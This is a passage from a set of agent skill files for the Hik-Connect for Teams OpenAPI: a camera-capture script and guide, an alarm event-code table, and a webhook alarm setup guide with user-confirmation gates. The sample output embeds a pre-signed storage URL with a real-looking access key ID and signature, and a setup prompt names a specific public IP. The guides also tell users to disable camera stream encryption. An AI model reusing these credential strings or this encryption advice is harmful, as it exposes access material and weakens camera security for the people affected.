parser = argparse.ArgumentParser(description="HCTOpen Get Door Access Resource List")
parser.add_argument("device_serial", help="Device serial number (optional)")
args = parser.parse_args()
client = DoorListClient()
client.fetch_doors(device_serial=args.device_serial)
if __name__ == "__main__":
main()
FILE:modules/Hik-Connect_Team_Capture/SKILL.md
---
name: hctopen-capture
description: |
HCTOpen device capture and decryption skill. Supports capture for specified device channel, and provides encrypted image decryption functionality. The returned capture address is cloud address instead of local address, can be accessed directly.
Use when: Need to get device real-time image or decrypt encrypted device image.
⚠️ Security Requirement: Must set environment variables: Hik-Connect Team OpenAPI AppKey, Hik-Connect Team OpenAPI SecretKey. (API Domain is automatically obtained from token response)
parameters:
- name: device-serial
type: string
description: "Device serial number"
required: true
- name: channel-no
type: string
description: "Channel number, default is 1"
default: "1"
responses:
- success: true
template: "Preview image generated for you, click link below to view:"
media: "image_card"
metadata:
openclaw:
emoji: "📸"
requires:
env: ["HIK_CONNECT_TEAM_OPENAPI_APP_KEY", "HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY"]
pip: ["requests", "pycryptodome", "Pillow"]
primaryEnv: "HIK_CONNECT_TEAM_OPENAPI_APP_KEY"
warnings:
- "May read ~/.openclaw/*.json for credentials (env vars have priority)"
config:
configFileRead:
paths:
- "~/.openclaw/config.json"
- "~/.openclaw/gateway/config.json"
- "~/.openclaw/channels.json"
priority: "lower than environment variables"
description: "Reads Hik-Connect Team credentials from OpenClaw config files as fallback"
---
# HCTOpen Capture
HCT is short for Hik-Connect for Teams, meaning Hik-Connect Team mode.
HCTOpen is short for Hik-Connect for Teams OpenAPI.
This Skill provides device real-time capture functionality, suitable for anomaly verification, real-time screen preview and other scenarios.
> **Note!!!**: This skill only provides capture capability. If device has stream encryption enabled causing image not viewable, user needs to manually decrypt in HCT!!! Skill has no decryption capability.
> **Important Pre-check Information**:
> - **Check device status before capturing**: Use the device detail function in the resource management module to verify if stream encryption is enabled
> - **Example command**: `python scripts/device_detail.py {device_serial}`
> - If `Stream Encryption` shows `Enabled`, you must disable it first before capture
---
## ⚠️ Security Warning (Read Before Use)
| # | Check Item | Status | Description |
|---|---------------------------|-------------|--------------------------------------------------------------------------------------------------------------------------|
| 1 | **Credential Permission** | ⚠️ Required | Please use credentials with **capture permission**, avoid using super admin credentials |
| 2 | **Image Encryption** | ⚠️ Note | If device has image encryption enabled, returned URL may not be directly viewable, user needs to manually decrypt in HCT |
| 3 | **Token Cache** | ✅ Encrypted | Token cached in system temp directory, only current user can read (600 permission) |
| 4 | **API Domain** | ✅ Auto | API domain is automatically obtained from token response (no longer requires manual configuration) |
---
## 🚀 Quick Start
```bash
# Scenario 1: Capture image for specified device serial number (channel number defaults to 1)
python scripts/capture_pic.py L33721705
# Scenario 2: Capture image for specified device serial number and channel number
python scripts/capture_pic.py D72821502,2
```
---
## 🛠 Workflow
```mermaid
graph TD
A[Start Script] --> B{Check Environment Variables}
B -- Missing --> C[Report Error and Exit]
B -- Pass --> D[Get AccessToken]
D --> E{Is Token Valid?}
E -- Cache Valid --> F[Use Cache Directly]
E -- Expired/No Cache --> G[Call API to Get New Token]
G --> H[Save to Local Cache]
F --> I[Send Capture Request]
H --> I
I --> J{Parse Return Result}
J -- Success --> K[Print Capture URL and Encryption Status]
J -- Failed --> L[Print Error Message]
K --> M[Output JSON Result]
L --> M
M --> N[End]
```
---
## 📋 API Parameter Details
### 1. Device Capture Request Parameters
**Endpoint**: `POST /api/hccgw/resource/v1/device/capturePic`
| Parameter Name | Type | Description | Required | Default | Notes |
|----------------|--------|----------------------|----------|---------|--------------------------|
| `deviceSerial` | String | Device serial number | **Yes** | - | Device unique identifier |
| `channelNo` | String | Channel number | No | "1" | Default is 1 |
### 2. API Return Data Description
| Field Name | Type | Description | Notes |
|---------------|---------|-------------------------|--------------------------------------------------|
| `captureUrl` | String | Capture preview address | Directly accessible image URL (if not encrypted) |
| `isEncrypted` | Integer | Is encrypted | 0-not encrypted, 1-encrypted |
---
## 📝 Output Example
### Capture Success Example:
```text
[2026-04-25 22:25:18] Requesting capture: Device=D72821502, Channel=1
[SUCCESS] Capture successful: https://hpc-sgp-prod-s3-hccvis.oss-ap-southeast-1.aliyuncs.com/hccopen/capture/2026-04-25/D72821502/1/c4d29884-5d0c-47d9-8db7-3ccccd6eaf3b.jpeg?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20260425T142521Z&X-Amz-SignedHeaders=host&X-Amz-Expires=900&X-Amz-Credential=LTAI5tQckMpJxMb4qoHXJySP%2F20260425%2Foss-ap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=6dbe52fb30120e3fb65a9e5bed420e5e1dea07c5a78a15eca47f105809babb69
[JSON Output]
{
"success": true,
"captureUrl": "https://hpc-sgp-prod-s3-hccvis.oss-ap-southeast-1.aliyuncs.com/hccopen/capture/2026-04-25/D72821502/1/c4d29884-5d0c-47d9-8db7-3ccccd6eaf3b.jpeg?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20260425T142521Z&X-Amz-SignedHeaders=host&X-Amz-Expires=900&X-Amz-Credential=LTAI5tQckMpJxMb4qoHXJySP%2F20260425%2Foss-ap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=6dbe52fb30120e3fb65a9e5bed420e5e1dea07c5a78a15eca47f105809babb69",
"isEncrypted": 0
}
======================================================================
Done
======================================================================
```
---
## 📂 File Structure
```text
├── scripts/
│ └── capture_pic.py # Device capture core execution script
└── SKILL.md # Skill usage documentation
```
---
## ❓ FAQ
- **Q: Why can't the image be opened?**
- A: **There are two main possible reasons:**
1. **Device has stream encryption enabled**: First check using device detail script (`python scripts/device_detail.py {device_serial}`). If it shows `Stream Encryption: Enabled`, you must disable it in HCT platform first
2. **The returned image's `isEncrypted` field is 1**: This means the captured image is encrypted, same solution - disable stream encryption and retry
- **Q: How long is capture URL valid?**
- A: Valid for 15 minutes, please view or download as soon as possible.
- **Q: What if "Device offline" is shown?**
- A: Capture function requires device to be online, please first confirm device status through resource management module.
- **Q: Returned image is a URL address?**
- A: If user didn't explicitly mention needing URL address, default to returning image to user.
---
---
**Error Codes**:
| Return Code | Return Message | Description |
|-------------|-------------------------|-------------------------------------------------------------|
| OPEN000554 | Device Offline | Device is offline, please check device online status |
| OPEN000555 | Device Response Timeout | Device response timeout, please check device network status |
| OPEN000556 | Device Capture Failed | Device capture failed |
---
FILE:modules/Hik-Connect_Team_Capture/scripts/capture_pic.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
HCTOpen Device Picture Capture
"""
import sys
import os
import json
import argparse
from datetime import datetime
# Robust lib directory import logic: search upward until lib directory is found
def setup_lib_path():
current_dir = os.path.dirname(os.path.abspath(__file__))
# Search upward 3 levels for root directory containing lib
root_dir = current_dir
for _ in range(3):
root_dir = os.path.dirname(root_dir)
potential_lib = os.path.join(root_dir, "lib")
if os.path.exists(potential_lib):
if potential_lib not in sys.path:
sys.path.insert(0, potential_lib)
return True
return False
if not setup_lib_path():
print("[ERROR] Cannot find lib directory, please ensure script is located in Hik-Connect_Team Skills directory structure")
sys.exit(1)
from token_manager import HCTOpenClient
class CaptureClient(HCTOpenClient):
"""Device capture client"""
def capture(self, device_serial: str, channel_no: int = 1):
"""Execute capture operation"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Requesting capture: Device={device_serial}, Channel={channel_no}")
endpoint = "/api/hccgw/resource/v1/device/capturePic"
payload = {
"deviceSerial": device_serial,
"channelNo": str(channel_no)
}
# Capture module API uses "Token" as Header Key
result = self.request("POST", endpoint, json_data=payload, token_header_key="Token")
if result.get("errorCode") == "0":
data = result.get("data", {})
capture_url = data.get("captureUrl")
is_encrypted = data.get("isEncrypted")
if capture_url:
print(f"[SUCCESS] Capture successful: {capture_url}")
if is_encrypted == 1:
print("[INFO] Note: Image is encrypted, need to use key to decrypt before viewing")
self.exit_with_json({
"success": True,
"captureUrl": capture_url,
"isEncrypted": is_encrypted
})
else:
print("[ERROR] Response does not contain capture URL")
self.exit_with_json({"success": False, "error": "Capture URL not found"})
else:
# Use unified message field
print(f"[ERROR] Capture failed: {result.get('message', 'Unknown error')}")
self.exit_with_json({
"success": False,
"error": result.get("message", "Unknown error"),
"errorCode": result.get("errorCode")
})
def main():
parser = argparse.ArgumentParser(description="HCTOpen Device Capture")
parser.add_argument("device_info", help="Device serial number, optional comma-separated channel number (e.g. D72821502,1)")
args = parser.parse_args()
parts = args.device_info.split(",")
device_serial = parts[0].strip()
channel_no = 1
if len(parts) > 1:
try:
channel_no = int(parts[1].strip())
except ValueError:
print("[ERROR] Channel number must be integer")
sys.exit(1)
client = CaptureClient()
client.capture(device_serial, channel_no)
if __name__ == "__main__":
main()
FILE:modules/Hik-Connect_Team_Alarm/EVENT_CODES.md
# HCT Alarm Event Codes & Descriptions
This document lists the alarm event codes supported by HCT platform and their corresponding detailed descriptions for reference when subscribing.
## 1. Video Intercom
| Event Code | Description |
|:------------|:-------------------------------------|
| `Msg140001` | Messages about video intercom events |
## 2. On-Board Monitoring
| Event Code | Description |
|:------------|:----------------------------------|
| `Msg330001` | GPS Data Report |
| `Msg330101` | Alarm Triggered by Panic Button |
| `Msg330102` | Alarm Input |
| `Msg330201` | Forward Collision Warning |
| `Msg330202` | Headway Monitoring Warning |
| `Msg330203` | Lane Deviation Warning |
| `Msg330204` | Pedestrian Collision Warning |
| `Msg330205` | Speed Limit Warning |
| `Msg330301` | Blind Spot Warning |
| `Msg330401` | Sharp Turn |
| `Msg330402` | Sudden Brake |
| `Msg330403` | Sudden Acceleration |
| `Msg330404` | Rollover |
| `Msg330405` | Speeding |
| `Msg330406` | Collision |
| `Msg330407` | ACC ON |
| `Msg330408` | ACC OFF |
| `Msg330501` | Smoking |
| `Msg330502` | Using Mobile Phone |
| `Msg330503` | Fatigue Driving |
| `Msg330504` | Distraction |
| `Msg330505` | Seatbelt Unbuckled |
| `Msg330506` | Video Tampering |
| `Msg330507` | Yawning |
| `Msg330508` | Wearing IR Interrupted Sunglasses |
| `Msg330509` | Absence |
| `Msg330510` | Front Passenger Detection |
| `Msg335000` | Person and Vehicle Match |
| `Msg335001` | Person and Vehicle Mismatch |
## 3. Authentication Event
| Event Code | Description |
|:------------|:-------------------------------------------------|
| `Msg110001` | Access Granted by Card and Fingerprint |
| `Msg110002` | Access Granted by Card, Fingerprint, and PIN |
| `Msg110003` | Access Granted by Card |
| `Msg110004` | Access Granted by Card and PIN |
| `Msg110005` | Access Granted by Fingerprint |
| `Msg110006` | Access Granted by Fingerprint and PIN |
| `Msg110007` | Duress Alarm |
| `Msg110008` | Access Granted by Face and Fingerprint |
| `Msg110009` | Access Granted by Face and PIN |
| `Msg110010` | Access Granted by Face and Card |
| `Msg110011` | Access Granted by Face, PIN, and Fingerprint |
| `Msg110012` | Access Granted by Face, Card, and Fingerprint |
| `Msg110013` | Access Granted by Face |
| `Msg110018` | Access Granted via Combined Authentication Modes |
| `Msg110019` | Skin-Surface Temperature Measured |
| `Msg110020` | Password Authenticated |
| `Msg110022` | Access Granted by Bluetooth |
| `Msg110023` | Access Granted via QR Code |
| `Msg110024` | Access Granted via Keyfob |
| `Msg110501` | Verifying Card Encryption Failed |
| `Msg110502` | Max. Card Access Failed Attempts |
| `Msg110505` | Card No. Expired |
| `Msg110506` | Access Timed Out by Card and PIN |
| `Msg110507` | Access Denied - Door Remained Locked or Inactive |
| `Msg110509` | Access Denied by Card and PIN |
| `Msg110510` | Access Timed Out by Card, Fingerprint, and PIN |
| `Msg110511` | Access Denied by Card, Fingerprint, and PIN |
| `Msg110512` | Access Denied by Card and Fingerprint |
| `Msg110513` | Access Timed Out by Card and Fingerprint |
| `Msg110514` | No Access Level Assigned |
| `Msg110515` | Card No. Does Not Exist |
| `Msg110516` | Invalid Time Period |
| `Msg110517` | Fingerprint Does Not Exist |
| `Msg110518` | Access Denied by Fingerprint |
| `Msg110519` | Access Denied by Fingerprint and PIN |
| `Msg110520` | Access Timed Out by Fingerprint and PIN |
| `Msg110521` | Access Denied by Face and Fingerprint |
| `Msg110522` | Access Timed Out by Face and Fingerprint |
| `Msg110523` | Access Denied by Face and PIN |
| `Msg110524` | Access Timed Out by Face and PIN |
| `Msg110525` | Access Denied by Face and Card |
| `Msg110526` | Access Timed Out by Face and Card |
| `Msg110527` | Access Denied by Face, PIN, and Fingerprint |
| `Msg110528` | Access Timed Out by Face, PIN, and Fingerprint |
| `Msg110529` | Access Denied by Face, Card, and Fingerprint |
| `Msg110530` | Access Timed Out by Face, Card, and Fingerprint |
| `Msg110531` | Access Denied by Face |
| `Msg110533` | Live Facial Detection Failed |
| `Msg110545` | Combined Authentication Timed Out |
| `Msg110546` | Access Denied by Invalid M1 Card |
| `Msg110547` | Verifying CPU Card Encryption Failed |
| `Msg110548` | Access Denied - NFC Card Reading Disabled |
| `Msg110549` | EM Card Reading Not Enabled |
| `Msg110550` | M1 Card Reading Not Enabled |
| `Msg110551` | CPU Card Reading Disabled |
| `Msg110552` | Authentication Mode Mismatch |
| `Msg110554` | Max. Card and Password Authentication Times |
| `Msg110555` | Password Mismatches |
| `Msg110556` | Employee ID Does Not Exist |
| `Msg110557` | Access Denied: Scheduled Sleep Mode |
| `Msg110559` | Verifying Desfire Card Encryption Failed |
| `Msg110560` | Absence |
| `Msg110561` | Authentication Failed Due to Abnormal Features |
| `Msg110564` | Access Denied by Bluetooth |
| `Msg110565` | Access Denied by QR Code |
| `Msg110566` | Verifying QR Code Secret Key Failed |
| `Msg110567` | Access Denied via Keyfob |
FILE:modules/Hik-Connect_Team_Alarm/SKILL.md
---
name: hctopen-alarm
description: |
HCTOpen alarm webhook subscription and push management skill. Supports subscribing to alarm events and receiving real-time notifications via Webhook.
Use when: Need to configure webhook for receiving HCT alarm pushes, subscribe/unsubscribe to alarm events.
⚠️ Security Requirement: Must set environment variables: Hik-Connect Team OpenAPI AppKey, Hik-Connect Team OpenAPI SecretKey. (API Domain is automatically obtained from token response)
⚠️ Prerequisites:
- Requires public HTTPS URL (self-owned server or tunnel like ngrok) to receive webhook pushes from HCT platform.
- ⚠️ Key Constraint: The server hosting the public HTTPS URL must be able to reach OpenClaw Gateway's port (dynamically detected from openclaw.json). If OpenClaw is on a different server behind NAT/firewall and unreachable externally, third-party webhook receiver services (e.g., Pipedream, AWS Lambda URL) will NOT work — they only receive and cannot forward to internal OpenClaw. In that case, you must use a tunnel tool (ngrok/cpolar) on the OpenClaw server to create a public entry point instead.
metadata:
openclaw:
emoji: "🔔"
requires:
env: ["HIK_CONNECT_TEAM_OPENAPI_APP_KEY", "HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY"]
npm: ["nodejs"]
primaryEnv: "HIK_CONNECT_TEAM_OPENAPI_APP_KEY"
warnings:
- "May read ~/.openclaw/*.json for credentials (env vars have priority)"
config:
configFileRead:
paths:
- "~/.openclaw/config.json"
- "~/.openclaw/gateway/config.json"
- "~/.openclaw/channels.json"
priority: "lower than environment variables"
description: "Reads Hik-Connect Team credentials from OpenClaw config files as fallback"
---
# Hik-Connect_Team_Alarm (HCT Alarm Push Management)
## 1. Module Introduction
`Hik-Connect_Team_Alarm` module is designed to help users implement real-time push of HCT alarm messages through Webhook mechanism. This module integrates a complete closed-loop process of **public network access guidance**, **Webhook receiving service**, **OpenClaw Hooks configuration** and **HCT platform subscription**.
This document details how to configure the HCT Open platform Webhook alarm push process. The core idea is to use public network address to receive alarm data pushed by HCT Open platform, forward it to internal network Webhook receiving service, and finally have OpenClaw agent organize and send message notifications.
The overall architecture flow is as follows: HCT Open Platform → Public Network Tunnel/Self-owned Server → Webhook Service(:3090) → OpenClaw Hooks → Message Notification
> **Core Logic**: HCT Platform pushes messages to public network Webhook address -> Webhook service receives and verifies signature -> Forward to OpenClaw Hooks -> Agent organizes and sends notification.
---
### 1.1 Complete Data Flow and Port Responsibilities
The full alarm push data flow spans multiple components. Understanding which port belongs to which process is critical for troubleshooting:
```
HCT Platform (port 443 HTTPS)
↓ sends POST / GET
[Public Internet]
↓
Reverse Proxy / Tunnel (server:443) — receives on public HTTPS address
↓ forwards internally
Webhook Receiving Service (server.js, port 3090 by default) — validates signature, extracts alarm data
↓ forwards internally
OpenClaw Gateway (port shown as gateway.port in openclaw.json, dynamically detected) — receives via /hooks/agent
↓ triggers
OpenClaw Agent → formats message → sends to notification channel (Feishu/Telegram/etc.)
```
**Port Responsibilities Table:**
| Port | Process | Role | Who Owns It |
|------------------------------|-------------------------------------------------|----------------------------------------------------------------------------|---------------------------------|
| 443 (HTTPS) | Reverse proxy (Caddy/nginx/etc.) or tunnel tool | Public entry point, receives from HCT platform | User's server or tunnel service |
| 3090 (default) | server.js (webhook receiving service) | Receives from reverse proxy, validates HMAC signature, extracts alarm data | OpenClaw server |
| gateway port (auto-detected) | OpenClaw Gateway | Receives via `/hooks/agent`, triggers agent processing | OpenClaw server |
---
## 2. Core Workflow (Detailed Version)
### 2.1 Flowchart
```mermaid
sequenceDiagram
participant User as User
participant Agent as Agent (AI Assistant)
participant Tool as Alarm Module (Python)
participant HCT as HCT Open Platform
participant Proxy as Public Network Tunnel (Optional)
participant Srv as Webhook Receiving Service (server.js)
participant OpenClaw as OpenClaw Hooks
participant Notify as OpenClaw Agent
Note over User, Agent: **Phase 0: OpenClaw Hooks Readiness Check**
Agent->>Agent: Run pre_check.py
alt hooks not ready
Agent->>User: Ask: "Modify hooks config and restart gateway? (yes/no)"
User->>Agent: User confirms
end
Note over User, Agent: **⚠️ Gate 1: Public URL Plan (NO TUNNEL without explicit Option B)**
Agent->>User: Ask: "Who hosts the public HTTPS URL? (A: own server / B: tunnel / C: own URL)"
User->>Agent: User confirms plan
Note right of Agent: **🚨 ABSOLUTE RULE: Tunnel only if user explicitly chose Option B**
Note over User, Agent: **⚠️ Gate 2: Signing Secret**
Agent->>User: Ask: "Provide an 8-32 character signing secret"
User->>Agent: User provides secret (BLOCK if no answer)
Note over User, Srv: **Phase 3: Service Startup**
User->>Srv: Start Webhook receiving service
User->>Srv: Verify public URL is reachable
Note over User, Srv: **Phase 4: Webhook Registration**
User->>Tool: Run `webhook_manager.py save --url <public URL> --secret <secret>`
Tool->>HCT: POST `/api/hccgw/webhook/v1/config/save`
HCT->>Srv: GET `<public URL>` (verification request)
Srv-->>HCT: Return `200 OK` + signature Header
HCT-->>Tool: Return `errorCode: "0"`
Tool-->>User: Prompt Webhook registration successful
Note over User, Srv: **Phase 5: Event Subscription**
Agent->>User: Present event types from EVENT_CODES.md
User->>Agent: User confirms which events
Agent->>Tool: Run `event_manager.py subscribe --types "chosen_types"`
Tool->>HCT: POST `/api/hccgw/rawmsg/v1/mq/subscribe`
HCT-->>Tool: Return `errorCode: "0"`
Note over User, Srv: **Phase 6: Alarm Push and Message Processing**
HCT->>Srv: POST `<public URL>` (alarm data)
Srv-->>HCT: Return `200 OK`
Srv->>OpenClaw: POST `/hooks/agent`
OpenClaw->>Notify: Trigger Agent processing
Notify->>User: Send notification via the configured channel
```
### 2.2 Stage-by-Stage Operation Guide
---
## ⚠️ 2.2.0 Phase 0: OpenClaw Hooks Readiness Check (ALWAYS RUN FIRST)
> **Important**: Before doing ANYTHING else, you MUST verify that OpenClaw hooks is properly configured. This is a hard prerequisite. If hooks is not set up, the alarm push chain will break silently.
### Step 0-1: Run Pre-Check Script
```bash
cd <skill-directory>/modules/Hik-Connect_Team_Alarm/scripts
python pre_check.py
```
The script checks all 6 items automatically.
### Step 0-2: If Hooks Needs Configuration — Ask User FIRST
If `hooks.enabled` is not `true` or `hooks.token` is missing:
**STOP and ask the user explicitly:**
> "OpenClaw hooks is not configured on this server. To receive alarm pushes, I need to:
> 1. Add a `hooks` section to `~/.openclaw/openclaw.json`
> 2. Restart the OpenClaw Gateway
>
> This will cause a brief interruption to the OpenClaw service (typically a few seconds).
>
> Do you want me to proceed? (yes/no)"
Only proceed if the user confirms. If confirmed:
- Generate a new token: `openssl rand -hex 24`
- Add to `~/.openclaw/openclaw.json`:
```json
{
"hooks": {
"enabled": true,
"token": "<generated token>"
}
}
```
- Restart gateway: `openclaw gateway restart`
- Verify: `curl http://127.0.0.1:<port>/hooks/agent` returns 200 or 400 (not 404)
> ⚠️ Do NOT add `defaultSessionKey` to hooks config — it causes `Malformed agent session key` errors.
Only proceed to Phase 1 after pre-check passes or after hooks is confirmed ready.
---
## ⚠️ 2.2.1 Phase 1: Public URL Plan — MUST Confirm Before Taking Action
### Step 1-1: Query Current Status
Show the user their existing webhook and subscription state:
```bash
cd <skill-directory>/modules/Hik-Connect_Team_Alarm/scripts
python webhook_manager.py query
python event_manager.py query
```
### Step 1-2: Ask About Public URL Plan (CONFIRMATION GATE — ABSOLUTE BLOCKER)
**Ask the user the following question and WAIT for their answer before proceeding:**
> "To receive alarm pushes from HCT, I need a public HTTPS URL that HCT can call. How do you want to handle this?"
>
> Please choose one of the following options:
>
> **Option A — Use your own server (most stable)**
> You have a public IP (124.222.61.228). If you have a domain name pointing to this IP, I can help you set up a reverse proxy (nginx/Caddy) to route HTTPS traffic to the webhook service.
>
> **Option B — Use a tunnel tool on this server**
> I can set up ngrok, cloudflared, or similar on this server to create a public HTTPS URL. This is free but the tunnel may occasionally disconnect.
>
> **Option C — You have your own public HTTPS URL**
> Provide your own URL and I'll configure the webhook service to use it.
>
> Which option do you prefer? (A / B / C, or describe your situation)"
**🚨 ABSOLUTE RULE — No Tunnel Tool Without Explicit User Request:**
> **UNDER NO CIRCUMSTANCES may the Agent install, configure, or start any tunnel tool (ngrok, cloudflared, cpolar, serveo, localtunnel, bore, etc.) unless the user has explicitly and affirmatively chosen Option B or otherwise explicitly asked for a tunnel tool in their own words.**
>
> This rule is absolute and non-negotiable. Violations include:
> - Installing a tunnel tool before the user has chosen Option B
> - Starting a tunnel without the user's explicit consent
> - Creating a public URL without the user confirming tunnel as their chosen approach
> - Using a tunnel as a "temporary" or "quick test" solution without explicit approval
>
> If the user does not respond to the question, re-ask. If the user is unclear, ask follow-up questions. Do not proceed.
**Decision Rules Based on User Response:**
| User Response | Agent Action |
|:---|:---|
| Option A (has domain) | Ask for domain → help configure reverse proxy → proceed |
| **Option B (tunnel)** | **Only then** install/configure tunnel tool → proceed |
| Option C (own URL) | Ask for the URL → verify it points to this server's 3090 → proceed |
| Says nothing / unclear | Ask follow-up question — do NOT proceed until clarified |
| Has no domain, no tunnel preference | Recommend Option A if public IP exists, otherwise explain limitation |
> ⚠️ **Critical**: Do NOT generate any public URL, do NOT install any tunnel tool, do NOT start any tunnel process until the user has explicitly chosen Option B (or equivalent explicit tunnel request). If the user does not respond, ask again.
---
## ⚠️ 2.2.2 Phase 2: Collect Signing Secret — Must Have Before Service Start
**Ask the user:**
> "Provide an 8-32 character signing secret for webhook verification. This will be used to verify that alarm pushes are genuinely from Hik-Connect. Please provide a secret now (e.g. yourname2026):"
**Rules:**
- **Do NOT generate or invent a default secret** — the user MUST provide this.
- **BLOCK on this step** — do not proceed to Phase 3 until the user provides a secret.
- Record the secret. It will be used in:
- `webhook_manager.py save --secret <secret>`
- `HIK_SIGN_SECRET` environment variable for server.js
---
## ⚠️ 2.2.3 Phase 3: Start Webhook Service — Only After Phases 1 & 2 Are Complete
### Step 3-1: Install Dependencies
```bash
cd <skill-directory>/modules/Hik-Connect_Team_Alarm/scripts
npm install
```
### Step 3-2: Get OpenClaw Gateway Port
```bash
PORT=$(cat ~/.openclaw/openclaw.json | grep -oP '"port":\s*\K\d+')
echo "OpenClaw Gateway port: $PORT"
```
### Step 3-3: Start Webhook Receiving Service
**Ask the user for their Feishu open_id (or target user ID) if not already known.**
```bash
cd <skill-directory>/modules/Hik-Connect_Team_Alarm/scripts
HIK_SIGN_SECRET="<user-provided-secret>" \
OPENCLAW_HOOKS_TOKEN="<from openclaw.json hooks.token>" \
OPENCLAW_HOOKS_URL="http://127.0.0.1:<gateway-port>/hooks/agent" \
OPENCLAW_CHANNEL="feishu" \
OPENCLAW_TO="<user's Feishu open_id>" \
PORT="3090" \
node server.js
```
### Step 3-4: Verify Service Is Running
```bash
curl http://localhost:3090/health
```
Expected: `{"status":"ok",...}`
### Step 3-5: Verify Public URL Is Reachable
```bash
curl -sL -o /dev/null -w "%{http_code}" https://<your-public-url>/hikvision/webhook
```
Expected: `200` or `302` (redirect). If `000` or timeout → tunnel/proxy is not working.
Only proceed to Phase 4 if both service health and public URL are confirmed working.
---
## ⚠️ 2.2.4 Phase 4: Register Webhook with HCT Platform
> "Now I'll register the Webhook URL with HCT. Make sure the service is running and the public URL is accessible from the internet."
```bash
cd <skill-directory>/modules/Hik-Connect_Team_Alarm/scripts
python webhook_manager.py save \
--url "https://<your-public-url>/hikvision/webhook" \
--secret "<user-provided-secret>"
```
- **Success**: Tell user "Webhook registered successfully! HCT will now push alarms to your URL."
- **Failure**: Tell user the error reason and checklist (service running? URL accessible from internet? secret correct?)
---
## ⚠️ 2.2.5 Phase 5: Event Subscription — Must Have Explicit User Confirmation
> **⚠️ MANDATORY: Only subscribe when user explicitly asks.**
> Never call `event_manager.py subscribe` without explicit user confirmation.
**Ask the user:**
> "Webhook registration successful! Now let's subscribe to alarm events. Which events do you want to subscribe to? You can find the full list in `EVENT_CODES.md`. Options:
> - 'full' — subscribe to all events
> - Or provide specific event codes (e.g. 'Msg110001,Msg110002')
>
> Which would you like?"
**Wait for the user's answer.** Only then run:
```bash
# All events:
python event_manager.py subscribe
# Specific events:
python event_manager.py subscribe --types "Msg110001,Msg110002,..."
```
**After execution:**
- **Success**: Tell the user "Event subscription complete! `{count}` event types subscribed."
- **Failure**: Tell the user "Event subscription failed: `{reason}`"
---
## 6. Signature Verification Mechanism (Security)
HCT platform and Webhook service ensure communication security through HMAC-SHA256 algorithm.
### 3.1 Verification Request (GET)
When you save Webhook configuration on platform, platform will send verification request:
* **HCT Platform Sends Header**:
* `X-Hook-Batch-Id`: Batch ID
* `X-Hook-Timestamp`: Timestamp (milliseconds)
* **Webhook Service Processing**:
* Service calculates HMAC-SHA256 signature based on configured `HIK_SIGN_SECRET`, `X-Hook-Timestamp` and `X-Hook-Batch-Id`.
* **Signature Algorithm**: `signature = HMAC-SHA256(secret, timestamp.batchId)`, result is `sha256=<hex_string>`.
* **Webhook Service Returns**: Carries `X-Hook-Signature: sha256=<calculated_signature>` in Response Header, status code `200 OK`.
### 3.2 Push Request (POST)
When alarm occurs, platform pushes data:
* **HCT Platform Sends Header**:
* `X-Hook-Signature`: Signature calculated by platform
* `X-Hook-Timestamp`: Push timestamp
* **Webhook Service Processing**:
* Service uses same `HIK_SIGN_SECRET` and `timestamp.batchId` (obtained from request Body) to calculate signature, and compares with `X-Hook-Signature` in Header.
* If signature matches and timestamp is within acceptable range, request is considered legitimate and processed further, otherwise request is rejected.
---
## 7. Script and API Parameter Details
### 4.1 Webhook Management (`webhook_manager.py`)
This script is used to manage HCT platform's Webhook configuration, including query, save and delete.
#### 4.1.1 Running Examples
* **Query Current Webhook Configuration**:
```bash
python scripts/webhook_manager.py query
```
* **Save/Subscribe Webhook Configuration**:
```bash
python scripts/webhook_manager.py save --url "https://your-public-domain.com/hikvision/webhook" --secret "YourSignSecret123" --retries 5 --delay 2000
```
* **Delete Webhook Configuration**:
```bash
python scripts/webhook_manager.py delete
```
#### 4.1.2 Request Parameters
| Parameter | Type | Required | Default | Description |
|:------------|:--------|:----------------------------|:--------|:--------------------------------------------------------------------------------------------------------|
| `command` | String | Yes | - | Operation command, options: `query`, `save`, `delete` |
| `--url` | String | Required for `save` command | - | Public HTTPS callback address, must start with `https://`, max length 256 characters. |
| `--secret` | String | Optional for `save` command | - | Signing secret, used to verify legitimacy of pushed messages. 8-32 alphanumeric combination. |
| `--retries` | Integer | Optional for `save` command | 3 | Number of retries after message push failure. Range `[-1, 5]`, -1 means unlimited retry within 2 hours. |
| `--delay` | Integer | Optional for `save` command | 1000 | Retry interval after message push failure, in milliseconds. |
#### 4.1.3 Output Field Description
| Field | Type | Description |
|:-------------------|:--------|:-------------------------------------------------------------------------------|
| `success` | Boolean | Whether operation was successful. `true` means success, `false` means failure. |
| `message` | String | Operation result or error description information. |
| `errorCode` | String | Error code, `0` means success, other values are specific error codes. |
| `data` | Object | Webhook configuration details returned on successful `query` command. |
| `data.callbackUrl` | String | Webhook callback address. |
| `data.retryTimes` | Integer | Webhook retry count. |
| `data.retryDelay` | Long | Webhook retry interval (milliseconds). |
### 4.2 Event Subscription Management (`event_manager.py`)
This script is used to subscribe, unsubscribe, or query HCT platform alarm event subscription status.
#### 4.2.1 Running Examples
* **Subscribe to Specific Event Types**:
```bash
python scripts/event_manager.py subscribe --types "Msg330001,Msg330002"
```
* **Subscribe to All Event Types**:
```bash
python scripts/event_manager.py subscribe
```
* **Unsubscribe from Specific Event Types**:
```bash
python scripts/event_manager.py unsubscribe --types "Msg330001"
```
* **Unsubscribe from All Event Types**:
```bash
python scripts/event_manager.py unsubscribe
```
* **Query Current Subscription Status**:
```bash
python scripts/event_manager.py query
```
#### 4.2.2 Request Parameters
| Parameter | Type | Required | Default | Description |
|:----------|:-------|:---------|:-----------------------------------------|:--------------------------------------------------------------------------------------------------------------------------------|
| `command` | String | Yes | - | Operation command, options: `subscribe`, `unsubscribe`, `query` |
| `--types` | String | Optional | Empty (subscribe/unsubscribe all events) | Comma-separated event type list (e.g. `Msg330001,Msg330002`). For specific event types please refer to EVENT_CODES.md document. |
> **Important Note**: Even without Webhook configuration, you can still execute subscribe/unsubscribe/query operations. But note that without proper Webhook service configuration and registration to HCT platform, you will not receive any alarm message pushes.
#### 4.2.3 Output Field Description
**For `subscribe` and `unsubscribe` commands:**
| Field | Type | Description |
|:------------|:--------|:-------------------------------------------------------------------------------|
